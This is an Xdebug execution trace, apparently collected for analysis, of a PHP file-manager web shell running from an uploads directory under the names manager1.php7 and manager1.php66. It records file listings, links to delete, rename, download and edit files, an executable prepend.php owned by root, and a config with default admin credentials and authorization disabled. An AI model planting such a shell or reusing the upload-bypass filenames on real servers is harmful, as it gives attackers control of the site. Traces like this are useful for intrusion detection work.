2		A						/var/www/html/uploads/manager1.php7	424	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php7	425	$info .= 'w'
2		A						/var/www/html/uploads/manager1.php7	428	$info .= '-'
2		A						/var/www/html/uploads/manager1.php7	431	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php7	432	$info .= '-'
2		A						/var/www/html/uploads/manager1.php7	435	$info .= '-'
2		A						/var/www/html/uploads/manager1.php7	438	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php7	439	$info .= '-'
2		A						/var/www/html/uploads/manager1.php7	442	$info .= '-'
2	143	1	0.010147	960520
2	143	R			'-rw-r--r--'
1		A						/var/www/html/uploads/manager1.php7	1505	$rightstext = '<a href="?fm=true&rights=.htaccess&path=/var/www/html/uploads/" title="Права .htaccess">-rw-r--r--</a>'
2	145	0	0.010180	960384	gmdate	0		/var/www/html/uploads/manager1.php7	1510	2	'Y-m-d H:i:s'	1676246976
2	145	1	0.010196	960712
2	145	R			'2023-02-13 00:09:36'
1		A						/var/www/html/uploads/manager1.php7	1477	$filename = '/var/www/html/uploads/manager1.php7'
2	146	0	0.010222	960392	stat	0		/var/www/html/uploads/manager1.php7	1478	1	'/var/www/html/uploads/manager1.php7'
2	146	1	0.010239	962192
2	146	R			[0 => 2049, 1 => 524480, 2 => 33204, 3 => 1, 4 => 1000, 5 => 1000, 6 => 0, 7 => 87065, 8 => 1676246976, 9 => 1676246976, 10 => 1676246976, 11 => 4096, 12 => 176, 'dev' => 2049, 'ino' => 524480, 'mode' => 33204, 'nlink' => 1, 'uid' => 1000, 'gid' => 1000, 'rdev' => 0, 'size' => 87065, 'atime' => 1676246976, 'mtime' => 1676246976, 'ctime' => 1676246976, 'blksize' => 4096, 'blocks' => 176]
1		A						/var/www/html/uploads/manager1.php7	1478	$filedata = [0 => 2049, 1 => 524480, 2 => 33204, 3 => 1, 4 => 1000, 5 => 1000, 6 => 0, 7 => 87065, 8 => 1676246976, 9 => 1676246976, 10 => 1676246976, 11 => 4096, 12 => 176, 'dev' => 2049, 'ino' => 524480, 'mode' => 33204, 'nlink' => 1, 'uid' => 1000, 'gid' => 1000, 'rdev' => 0, 'size' => 87065, 'atime' => 1676246976, 'mtime' => 1676246976, 'ctime' => 1676246976, 'blksize' => 4096, 'blocks' => 176]
2	147	0	0.010302	960400	is_dir	0		/var/www/html/uploads/manager1.php7	1479	1	'/var/www/html/uploads/manager1.php7'
2	147	1	0.010315	960440
2	147	R			FALSE
2	148	0	0.010328	960400	getimagesize	0		/var/www/html/uploads/manager1.php7	1489	1	'/var/www/html/uploads/manager1.php7'
2	148	1	0.010356	961008
2	148	R			[0 => 80, 1 => 80, 2 => 2, 3 => 'width="80" height="80"', 'bits' => 8, 'channels' => 3, 'mime' => 'image/jpeg']
2	149	0	0.010379	960400	fm_img_link	1		/var/www/html/uploads/manager1.php7	1491	1	'/var/www/html/uploads/manager1.php7'
3	150	0	0.010393	960400	basename	0		/var/www/html/uploads/manager1.php7	693	1	'/var/www/html/uploads/manager1.php7'
3	150	1	0.010408	960472
3	150	R			'manager1.php7'
3	151	0	0.010423	960448	base64_encode	0		/var/www/html/uploads/manager1.php7	693	1	'/var/www/html/uploads/manager1.php7'
3	151	1	0.010436	960560
3	151	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDc='
2	149	1	0.010453	960496
2	149	R			'./manager1.php7?img=L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDc='
2	152	0	0.010475	960720	fm_img_link	1		/var/www/html/uploads/manager1.php7	1492	1	'/var/www/html/uploads/manager1.php7'
3	153	0	0.010488	960720	basename	0		/var/www/html/uploads/manager1.php7	693	1	'/var/www/html/uploads/manager1.php7'
3	153	1	0.010503	960792
3	153	R			'manager1.php7'
3	154	0	0.010517	960768	base64_encode	0		/var/www/html/uploads/manager1.php7	693	1	'/var/www/html/uploads/manager1.php7'
3	154	1	0.010530	960880
3	154	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDc='
2	152	1	0.010547	960816
2	152	R			'./manager1.php7?img=L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDc='
1		A						/var/www/html/uploads/manager1.php7	1493	$link = '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'./manager1.php7?img=L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDc=\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="./manager1.php7?img=L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDc="><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> manager1.php7</a>'
2	155	0	0.010589	960656	explode	0		/var/www/html/uploads/manager1.php7	1494	2	'.'	'manager1.php7'
2	155	1	0.010603	961176
2	155	R			[0 => 'manager1', 1 => 'php7']
1		A						/var/www/html/uploads/manager1.php7	1494	$e_arr = [0 => 'manager1', 1 => 'php7']
2	156	0	0.010632	960728	end	0		/var/www/html/uploads/manager1.php7	1495	1	[0 => 'manager1', 1 => 'php7']
2	156	1	0.010646	960760
2	156	R			'php7'
1		A						/var/www/html/uploads/manager1.php7	1495	$ext = 'php7'
2	157	0	0.010671	960688	__	1		/var/www/html/uploads/manager1.php7	1496	1	'Download'
2	157	1	0.010684	960688
2	157	R			'Скачать'
2	158	0	0.010699	960688	__	1		/var/www/html/uploads/manager1.php7	1496	1	'Download'
2	158	1	0.010712	960688
2	158	R			'Скачать'
2	159	0	0.010726	960744	fm_link	1		/var/www/html/uploads/manager1.php7	1496	4	'download'	'/var/www/html/uploads/manager1.php7'	'Скачать'	'Скачать manager1.php7'
3	160	0	0.010743	960800	base64_encode	0		/var/www/html/uploads/manager1.php7	546	1	'/var/www/html/uploads/manager1.php7'
3	160	1	0.010756	960912
3	160	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDc='
2	159	1	0.010774	960936
2	159	R			'&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDc=" title="Скачать manager1.php7">Скачать</a>'
1		A						/var/www/html/uploads/manager1.php7	1496	$loadlink = '&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDc=" title="Скачать manager1.php7">Скачать</a>'
2	161	0	0.010814	960720	fm_root	1		/var/www/html/uploads/manager1.php7	1499	1	'manager1.php7'
2	161	1	0.010827	960720
2	161	R			FALSE
2	162	0	0.010840	960720	__	1		/var/www/html/uploads/manager1.php7	1499	1	'Compress'
2	162	1	0.010853	960720
2	162	R			'Сжать'
2	163	0	0.010867	960768	__	1		/var/www/html/uploads/manager1.php7	1499	1	'Archiving'
2	163	1	0.010880	960768
2	163	R			'Архивировать'
2	164	0	0.010895	960832	fm_link	1		/var/www/html/uploads/manager1.php7	1499	4	'gzfile'	'/var/www/html/uploads/manager1.php7'	'Сжать&nbsp;.tar.gz'	'Архивировать manager1.php7'
3	165	0	0.010913	960888	base64_encode	0		/var/www/html/uploads/manager1.php7	546	1	'/var/www/html/uploads/manager1.php7'
3	165	1	0.010927	961000
3	165	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDc='
2	164	1	0.010944	961024
2	164	R			'&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDc=" title="Архивировать manager1.php7">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/manager1.php7	1499	$arlink = '&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC91cGxvYWRzL21hbmFnZXIxLnBocDc=" title="Архивировать manager1.php7">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/manager1.php7	1500	$style = 'row1'
2	166	0	0.010996	960720	__	1		/var/www/html/uploads/manager1.php7	1501	1	'File selected'
2	166	1	0.011010	960720
2	166	R			'Выбран файл'
2	167	0	0.011025	960816	__	1		/var/www/html/uploads/manager1.php7	1501	1	'Are you sure you want to delete this file?'
2	167	1	0.011040	960816
2	167	R			'Вы уверены, что хотите удалить этот файл?'
1		A						/var/www/html/uploads/manager1.php7	1501	$alert = 'onClick="if(confirm(\'Выбран файл: \\nmanager1.php7. \\nВы уверены, что хотите удалить этот файл?\')) document.location.href = \'?fm=true&delete=manager1.php7&path=/var/www/html/uploads/\'"'
2	168	0	0.011083	960720	fm_root	1		/var/www/html/uploads/manager1.php7	1503	1	'manager1.php7'
2	168	1	0.011097	960720
2	168	R			FALSE
2	169	0	0.011110	960720	__	1		/var/www/html/uploads/manager1.php7	1503	1	'Delete'
2	169	1	0.011123	960720
2	169	R			'Удалить'
2	170	0	0.011138	961040	__	1		/var/www/html/uploads/manager1.php7	1503	1	'Delete'
2	170	1	0.011151	961040
2	170	R			'Удалить'
1		A						/var/www/html/uploads/manager1.php7	1503	$deletelink = '<a href="#" title="Удалить manager1.php7" onClick="if(confirm(\'Выбран файл: \\nmanager1.php7. \\nВы уверены, что хотите удалить этот файл?\')) document.location.href = \'?fm=true&delete=manager1.php7&path=/var/www/html/uploads/\'">Удалить</a>'
2	171	0	0.011189	960720	fm_root	1		/var/www/html/uploads/manager1.php7	1504	1	'manager1.php7'
2	171	1	0.011202	960720
2	171	R			FALSE
2	172	0	0.011215	960832	__	1		/var/www/html/uploads/manager1.php7	1504	1	'Rename'
2	172	1	0.011228	960832
2	172	R			'Переименовать'
2	173	0	0.011243	960880	__	1		/var/www/html/uploads/manager1.php7	1504	1	'Rename'
2	173	1	0.011256	960880
2	173	R			'Переименовать'
1		A						/var/www/html/uploads/manager1.php7	1504	$renamelink = '<a href="?fm=true&rename=manager1.php7&path=/var/www/html/uploads/" title="Переименовать manager1.php7">Переименовать</a>'
2	174	0	0.011288	960832	__	1		/var/www/html/uploads/manager1.php7	1505	1	'Rights'
2	174	1	0.011301	960832
2	174	R			'Права'
2	175	0	0.011315	960848	fm_rights_string	1		/var/www/html/uploads/manager1.php7	1505	2	'/var/www/html/uploads/manager1.php7'	???
3	176	0	0.011329	960848	fileperms	0		/var/www/html/uploads/manager1.php7	393	1	'/var/www/html/uploads/manager1.php7'
3	176	1	0.011342	960888
3	176	R			33204
2		A						/var/www/html/uploads/manager1.php7	393	$perms = 33204
2		A						/var/www/html/uploads/manager1.php7	394	$info = ''
2		A						/var/www/html/uploads/manager1.php7	404	$info = '-'
2		A						/var/www/html/uploads/manager1.php7	424	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php7	425	$info .= 'w'
2		A						/var/www/html/uploads/manager1.php7	428	$info .= '-'
2		A						/var/www/html/uploads/manager1.php7	431	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php7	432	$info .= 'w'
2		A						/var/www/html/uploads/manager1.php7	435	$info .= '-'
2		A						/var/www/html/uploads/manager1.php7	438	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php7	439	$info .= '-'
2		A						/var/www/html/uploads/manager1.php7	442	$info .= '-'
2	175	1	0.011475	960888
2	175	R			'-rw-rw-r--'
1		A						/var/www/html/uploads/manager1.php7	1505	$rightstext = '<a href="?fm=true&rights=manager1.php7&path=/var/www/html/uploads/" title="Права manager1.php7">-rw-rw-r--</a>'
2	177	0	0.011506	960720	gmdate	0		/var/www/html/uploads/manager1.php7	1510	2	'Y-m-d H:i:s'	1676246976
2	177	1	0.011529	961048
2	177	R			'2023-02-13 00:09:36'
1		A						/var/www/html/uploads/manager1.php7	1477	$filename = '/var/www/html/uploads/prepend.php'
2	178	0	0.011558	960720	stat	0		/var/www/html/uploads/manager1.php7	1478	1	'/var/www/html/uploads/prepend.php'
2	178	1	0.011575	962512
2	178	R			[0 => 2049, 1 => 524479, 2 => 33261, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 57, 8 => 1676246976, 9 => 1676246976, 10 => 1676246976, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524479, 'mode' => 33261, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 57, 'atime' => 1676246976, 'mtime' => 1676246976, 'ctime' => 1676246976, 'blksize' => 4096, 'blocks' => 8]
1		A						/var/www/html/uploads/manager1.php7	1478	$filedata = [0 => 2049, 1 => 524479, 2 => 33261, 3 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 57, 8 => 1676246976, 9 => 1676246976, 10 => 1676246976, 11 => 4096, 12 => 8, 'dev' => 2049, 'ino' => 524479, 'mode' => 33261, 'nlink' => 1, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 57, 'atime' => 1676246976, 'mtime' => 1676246976, 'ctime' => 1676246976, 'blksize' => 4096, 'blocks' => 8]
2	179	0	0.011638	960720	is_dir	0		/var/www/html/uploads/manager1.php7	1479	1	'/var/www/html/uploads/prepend.php'
2	179	1	0.011652	960760
2	179	R			FALSE
2	180	0	0.011665	960720	getimagesize	0		/var/www/html/uploads/manager1.php7	1489	1	'/var/www/html/uploads/prepend.php'
2	180	1	0.011692	960760
2	180	R			FALSE
2	181	0	0.011707	960816	__	1		/var/www/html/uploads/manager1.php7	1493	1	'Edit'
2	181	1	0.011721	960816
2	181	R			'Редактировать'
1		A						/var/www/html/uploads/manager1.php7	1493	$link = '<a href="?fm=true&edit=prepend.php&path=/var/www/html/uploads/" title="Редактировать"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> prepend.php</a>'
2	182	0	0.011758	960464	explode	0		/var/www/html/uploads/manager1.php7	1494	2	'.'	'prepend.php'
2	182	1	0.011772	960976
2	182	R			[0 => 'prepend', 1 => 'php']
1		A						/var/www/html/uploads/manager1.php7	1494	$e_arr = [0 => 'prepend', 1 => 'php']
2	183	0	0.011801	960488	end	0		/var/www/html/uploads/manager1.php7	1495	1	[0 => 'prepend', 1 => 'php']
2	183	1	0.011814	960520
2	183	R			'php'
1		A						/var/www/html/uploads/manager1.php7	1495	$ext = 'php'
2	184	0	0.011839	960456	__	1		/var/www/html/uploads/manager1.php7	1496	1	'Download'
2	184	1	0.011852	960456
2	184	R			'Скачать'
2	185	0	0.011866	960456	__	1		/var/www/html/uploads/manager1.php7	1496	1	'Download'
2	185	1	0.011879	960456
2	185	R			'Скачать'
2	186	0	0.011894	960512	fm_link	1		/var/www/html/uploads/manager1.php7	1496	4	'download'	'/var/www/html/uploads/prepend.php'	'Скачать'	'Скачать prepend.php'
3	187	0	0.011910	960568	base64_encode	0		/var/www/html/uploads/manager1.php7	546	1	'/var/www/html/uploads/prepend.php'
3	187	1	0.011924	960680
3	187	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw'
2	186	1	0.011941	960672
2	186	R			'&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw" title="Скачать prepend.php">Скачать</a>'
1		A						/var/www/html/uploads/manager1.php7	1496	$loadlink = '&nbsp;&nbsp;<a href="?download=L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw" title="Скачать prepend.php">Скачать</a>'
2	188	0	0.011981	960424	fm_root	1		/var/www/html/uploads/manager1.php7	1499	1	'prepend.php'
2	188	1	0.011994	960424
2	188	R			FALSE
2	189	0	0.012007	960424	__	1		/var/www/html/uploads/manager1.php7	1499	1	'Compress'
2	189	1	0.012020	960424
2	189	R			'Сжать'
2	190	0	0.012034	960472	__	1		/var/www/html/uploads/manager1.php7	1499	1	'Archiving'
2	190	1	0.012047	960472
2	190	R			'Архивировать'
2	191	0	0.012062	960536	fm_link	1		/var/www/html/uploads/manager1.php7	1499	4	'gzfile'	'/var/www/html/uploads/prepend.php'	'Сжать&nbsp;.tar.gz'	'Архивировать prepend.php'
3	192	0	0.012080	960592	base64_encode	0		/var/www/html/uploads/manager1.php7	546	1	'/var/www/html/uploads/prepend.php'
3	192	1	0.012094	960704
3	192	R			'L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw'
2	191	1	0.012111	960728
2	191	R			'&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw" title="Архивировать prepend.php">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/manager1.php7	1499	$arlink = '&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw" title="Архивировать prepend.php">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/manager1.php7	1500	$style = 'row1'
2	193	0	0.012163	960424	__	1		/var/www/html/uploads/manager1.php7	1501	1	'File selected'
2	193	1	0.012177	960424
2	193	R			'Выбран файл'
2	194	0	0.012192	960520	__	1		/var/www/html/uploads/manager1.php7	1501	1	'Are you sure you want to delete this file?'
2	194	1	0.012206	960520
2	194	R			'Вы уверены, что хотите удалить этот файл?'
1		A						/var/www/html/uploads/manager1.php7	1501	$alert = 'onClick="if(confirm(\'Выбран файл: \\nprepend.php. \\nВы уверены, что хотите удалить этот файл?\')) document.location.href = \'?fm=true&delete=prepend.php&path=/var/www/html/uploads/\'"'
2	195	0	0.012246	960424	fm_root	1		/var/www/html/uploads/manager1.php7	1503	1	'prepend.php'
2	195	1	0.012259	960424
2	195	R			FALSE
2	196	0	0.012271	960424	__	1		/var/www/html/uploads/manager1.php7	1503	1	'Delete'
2	196	1	0.012285	960424
2	196	R			'Удалить'
2	197	0	0.012299	960744	__	1		/var/www/html/uploads/manager1.php7	1503	1	'Delete'
2	197	1	0.012312	960744
2	197	R			'Удалить'
1		A						/var/www/html/uploads/manager1.php7	1503	$deletelink = '<a href="#" title="Удалить prepend.php" onClick="if(confirm(\'Выбран файл: \\nprepend.php. \\nВы уверены, что хотите удалить этот файл?\')) document.location.href = \'?fm=true&delete=prepend.php&path=/var/www/html/uploads/\'">Удалить</a>'
2	198	0	0.012349	960424	fm_root	1		/var/www/html/uploads/manager1.php7	1504	1	'prepend.php'
2	198	1	0.012366	960424
2	198	R			FALSE
2	199	0	0.012380	960536	__	1		/var/www/html/uploads/manager1.php7	1504	1	'Rename'
2	199	1	0.012405	960536
2	199	R			'Переименовать'
2	200	0	0.012421	960584	__	1		/var/www/html/uploads/manager1.php7	1504	1	'Rename'
2	200	1	0.012434	960584
2	200	R			'Переименовать'
1		A						/var/www/html/uploads/manager1.php7	1504	$renamelink = '<a href="?fm=true&rename=prepend.php&path=/var/www/html/uploads/" title="Переименовать prepend.php">Переименовать</a>'
2	201	0	0.012479	960536	__	1		/var/www/html/uploads/manager1.php7	1505	1	'Rights'
2	201	1	0.012492	960536
2	201	R			'Права'
2	202	0	0.012506	960552	fm_rights_string	1		/var/www/html/uploads/manager1.php7	1505	2	'/var/www/html/uploads/prepend.php'	???
3	203	0	0.012520	960552	fileperms	0		/var/www/html/uploads/manager1.php7	393	1	'/var/www/html/uploads/prepend.php'
3	203	1	0.012534	960592
3	203	R			33261
2		A						/var/www/html/uploads/manager1.php7	393	$perms = 33261
2		A						/var/www/html/uploads/manager1.php7	394	$info = ''
2		A						/var/www/html/uploads/manager1.php7	404	$info = '-'
2		A						/var/www/html/uploads/manager1.php7	424	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php7	425	$info .= 'w'
2		A						/var/www/html/uploads/manager1.php7	428	$info .= 'x'
2		A						/var/www/html/uploads/manager1.php7	431	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php7	432	$info .= '-'
2		A						/var/www/html/uploads/manager1.php7	435	$info .= 'x'
2		A						/var/www/html/uploads/manager1.php7	438	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php7	439	$info .= '-'
2		A						/var/www/html/uploads/manager1.php7	442	$info .= 'x'
2	202	1	0.012669	960592
2	202	R			'-rwxr-xr-x'
1		A						/var/www/html/uploads/manager1.php7	1505	$rightstext = '<a href="?fm=true&rights=prepend.php&path=/var/www/html/uploads/" title="Права prepend.php">-rwxr-xr-x</a>'
2	204	0	0.012701	960424	gmdate	0		/var/www/html/uploads/manager1.php7	1510	2	'Y-m-d H:i:s'	1676246976
2	204	1	0.012716	960752
2	204	R			'2023-02-13 00:09:36'
2	205	0	0.012734	960424	microtime	0		/var/www/html/uploads/manager1.php7	1524	0
2	205	1	0.012748	960472
2	205	R			'0.15032700 1676246976'
2	206	0	0.012762	960472	explode	0		/var/www/html/uploads/manager1.php7	1524	2	' '	'0.15032700 1676246976'
2	206	1	0.012776	961000
2	206	R			[0 => '0.15032700', 1 => '1676246976']
1		A						/var/www/html/uploads/manager1.php7	1524	$mtime = [0 => '0.15032700', 1 => '1676246976']
1		A						/var/www/html/uploads/manager1.php7	1525	$totaltime = 0.0096399784088135
2	207	0	0.012826	960880	fm_home	1		/var/www/html/uploads/manager1.php7	1526	1	???
3	208	0	0.012839	960880	fm_url	1		/var/www/html/uploads/manager1.php7	742	1	FALSE
3		A						/var/www/html/uploads/manager1.php7	737	$host = '.'
4	209	0	0.012861	960912	basename	0		/var/www/html/uploads/manager1.php7	738	1	'/var/www/html/uploads/manager1.php7'
4	209	1	0.012876	960984
4	209	R			'manager1.php7'
3	208	1	0.012891	960920
3	208	R			'./manager1.php7'
3	210	0	0.012905	960944	__	1		/var/www/html/uploads/manager1.php7	742	1	'Home'
3	210	1	0.012918	960944
3	210	R			'Домой'
2	207	1	0.012932	961040
2	207	R			'&nbsp;<a href="./manager1.php7" title="Домой"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>'
2	211	0	0.012953	961104	fm_site_url	1		/var/www/html/uploads/manager1.php7	1526	0
3	212	0	0.012965	961104	fm_protocol	1		/var/www/html/uploads/manager1.php7	733	0
3	212	1	0.012978	961104
3	212	R			'http://'
2	211	1	0.012992	961152
2	211	R			'http://localhost'
2	213	0	0.013007	960880	phpversion	0		/var/www/html/uploads/manager1.php7	1527	0
2	213	1	0.013019	960944
2	213	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
2	214	0	0.013035	960880	__	1		/var/www/html/uploads/manager1.php7	1529	1	'Generation time'
2	214	1	0.013048	960880
2	214	R			'Генерация страницы'
2	215	0	0.013064	960960	round	0		/var/www/html/uploads/manager1.php7	1529	2	0.0096399784088135	2
2	215	1	0.013078	961032
2	215	R			0.01
2	216	0	0.013099	960880	__	1		/var/www/html/uploads/manager1.php7	1532	1	'Download'
2	216	1	0.013113	960880
2	216	R			'Скачать'
2	217	0	0.013128	960880	__	1		/var/www/html/uploads/manager1.php7	1533	1	'Settings'
2	217	1	0.013141	960880
2	217	R			'Настройка'
1	3	1	0.013295	960880
			0.013357	594600
TRACE END   [2023-02-12 22:10:02.048720]

data/traces/67b8ab8ce535a7a8301b9d9fd6ee9f13_trace-1676249439.7565.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:51:05.654334]
1	0	1	0.000144	393528
1	3	0	0.002633	937056	{main}	1		/var/www/html/uploads/manager1.php66	0	0
1		A						/var/www/html/uploads/manager1.php66	19	$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\\"text\\/javascript\\" src=\\"http:\\/\\/www.cdolivet.com\\/editarea\\/editarea\\/edit_area\\/edit_area_full.js\\"><\\/script>\\r\\n<script language=\\"Javascript\\" type=\\"text\\/javascript\\">\\r\\neditAreaLoader.init({\\r\\nid: \\"newcontent\\"\\r\\n,display: \\"later\\"\\r\\n,start_highlight: true\\r\\n,allow_resize: \\"both\\"\\r\\n,allow_toggle: true\\r\\n,word_wrap: true\\r\\'
1		A						/var/www/html/uploads/manager1.php66	20	$php_templates = '{"Settings":"global $fm_config;\\r\\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}'
1		A						/var/www/html/uploads/manager1.php66	21	$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'
2	4	0	0.002721	937056	microtime	0		/var/www/html/uploads/manager1.php66	25	0
2	4	1	0.002735	937104
2	4	R			'0.75917200 1676249439'
2	5	0	0.002749	937104	explode	0		/var/www/html/uploads/manager1.php66	25	2	' '	'0.75917200 1676249439'
2	5	1	0.002765	937632
2	5	R			[0 => '0.75917200', 1 => '1676249439']
1		A						/var/www/html/uploads/manager1.php66	25	$starttime = [0 => '0.75917200', 1 => '1676249439']
1		A						/var/www/html/uploads/manager1.php66	26	$starttime = 1676249439.7592
1		A						/var/www/html/uploads/manager1.php66	27	$langs = [0 => 'en', 1 => 'ru', 2 => 'de', 3 => 'fr', 4 => 'uk']
2	6	0	0.002821	937056	realpath	0		/var/www/html/uploads/manager1.php66	28	1	'.'
2	6	1	0.002837	937136
2	6	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/manager1.php66	28	$path = '/var/www/html/uploads'
1		A						/var/www/html/uploads/manager1.php66	28	$path = '/var/www/html/uploads'
2	7	0	0.002872	937104	str_replace	0		/var/www/html/uploads/manager1.php66	29	3	'\\'	'/'	'/var/www/html/uploads'
2	7	1	0.002888	937200
2	7	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/manager1.php66	29	$path = '/var/www/html/uploads/'
2	8	0	0.002912	937104	realpath	0		/var/www/html/uploads/manager1.php66	30	1	'./'
2	8	1	0.002926	937184
2	8	R			'/var/www/html/uploads'
2	9	0	0.002939	937152	str_replace	0		/var/www/html/uploads/manager1.php66	30	3	'\\'	'/'	'/var/www/html/uploads'
2	9	1	0.002953	937248
2	9	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/manager1.php66	30	$main_path = '/var/www/html/uploads'
2	10	0	0.002977	937152	phpversion	0		/var/www/html/uploads/manager1.php66	31	0
2	10	1	0.002990	937216
2	10	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
2	11	0	0.003005	937216	version_compare	0		/var/www/html/uploads/manager1.php66	31	3	'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'	'5.3.0'	'<'
2	11	1	0.003021	937312
2	11	R			FALSE
1		A						/var/www/html/uploads/manager1.php66	31	$phar_maybe = FALSE
1		A						/var/www/html/uploads/manager1.php66	32	$msg = ''
1		A						/var/www/html/uploads/manager1.php66	33	$default_language = 'ru'
1		A						/var/www/html/uploads/manager1.php66	34	$detect_lang = TRUE
1		A						/var/www/html/uploads/manager1.php66	35	$fm_version = 1.1
2	12	0	0.003087	937152	json_decode	0		/var/www/html/uploads/manager1.php66	38	2	'{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\\"text\\/javascript\\" src=\\"http:\\/\\/www.cdolivet.com\\/editarea\\/editarea\\/edit_area\\/edit_area_full.js\\"><\\/script>\\r\\n<script language=\\"Javascript\\" type=\\"text\\/javascript\\">\\r\\neditAreaLoader.init({\\r\\nid: \\"newcontent\\"\\r\\n,display: \\"later\\"\\r\\n,start_highlight: true\\r\\n,allow_resize: \\"both\\"\\r\\n,allow_toggle: true\\r\\n,word_wrap: true\\r\\'	TRUE
2	12	1	0.003124	938624
2	12	R			['authorize' => '0', 'login' => 'admin', 'password' => 'phpfm', 'cookie_name' => 'fm_user', 'days_authorization' => '30', 'script' => '<script type="text/javascript" src="http://www.cdolivet.com/editarea/editarea/edit_area/edit_area_full.js"></script>\r\n<script language="Javascript" type="text/javascript">\r\neditAreaLoader.init({\r\nid: "newcontent"\r\n,display: "later"\r\n,start_highlight: true\r\n,allow_resize: "both"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: "ru"\r\n,syntax: "php"\t\r\n,toolbar: "search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highligh']
1		A						/var/www/html/uploads/manager1.php66	38	$auth = ['authorize' => '0', 'login' => 'admin', 'password' => 'phpfm', 'cookie_name' => 'fm_user', 'days_authorization' => '30', 'script' => '<script type="text/javascript" src="http://www.cdolivet.com/editarea/editarea/edit_area/edit_area_full.js"></script>\r\n<script language="Javascript" type="text/javascript">\r\neditAreaLoader.init({\r\nid: "newcontent"\r\n,display: "later"\r\n,start_highlight: true\r\n,allow_resize: "both"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: "ru"\r\n,syntax: "php"\t\r\n,toolbar: "search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highligh']
1		A						/var/www/html/uploads/manager1.php66	39	$auth['authorize'] = '0'
2	13	0	0.003209	938560	is_numeric	0		/var/www/html/uploads/manager1.php66	40	1	'30'
2	13	1	0.003222	938592
2	13	R			TRUE
1		A						/var/www/html/uploads/manager1.php66	40	$auth['days_authorization'] = 30
1		A						/var/www/html/uploads/manager1.php66	41	$auth['login'] = 'admin'
1		A						/var/www/html/uploads/manager1.php66	42	$auth['password'] = 'phpfm'
1		A						/var/www/html/uploads/manager1.php66	43	$auth['cookie_name'] = 'fm_user'
1		A						/var/www/html/uploads/manager1.php66	44	$auth['script'] = '<script type="text/javascript" src="http://www.cdolivet.com/editarea/editarea/edit_area/edit_area_full.js"></script>\r\n<script language="Javascript" type="text/javascript">\r\neditAreaLoader.init({\r\nid: "newcontent"\r\n,display: "later"\r\n,start_highlight: true\r\n,allow_resize: "both"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: "ru"\r\n,syntax: "php"\t\r\n,toolbar: "search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highligh'
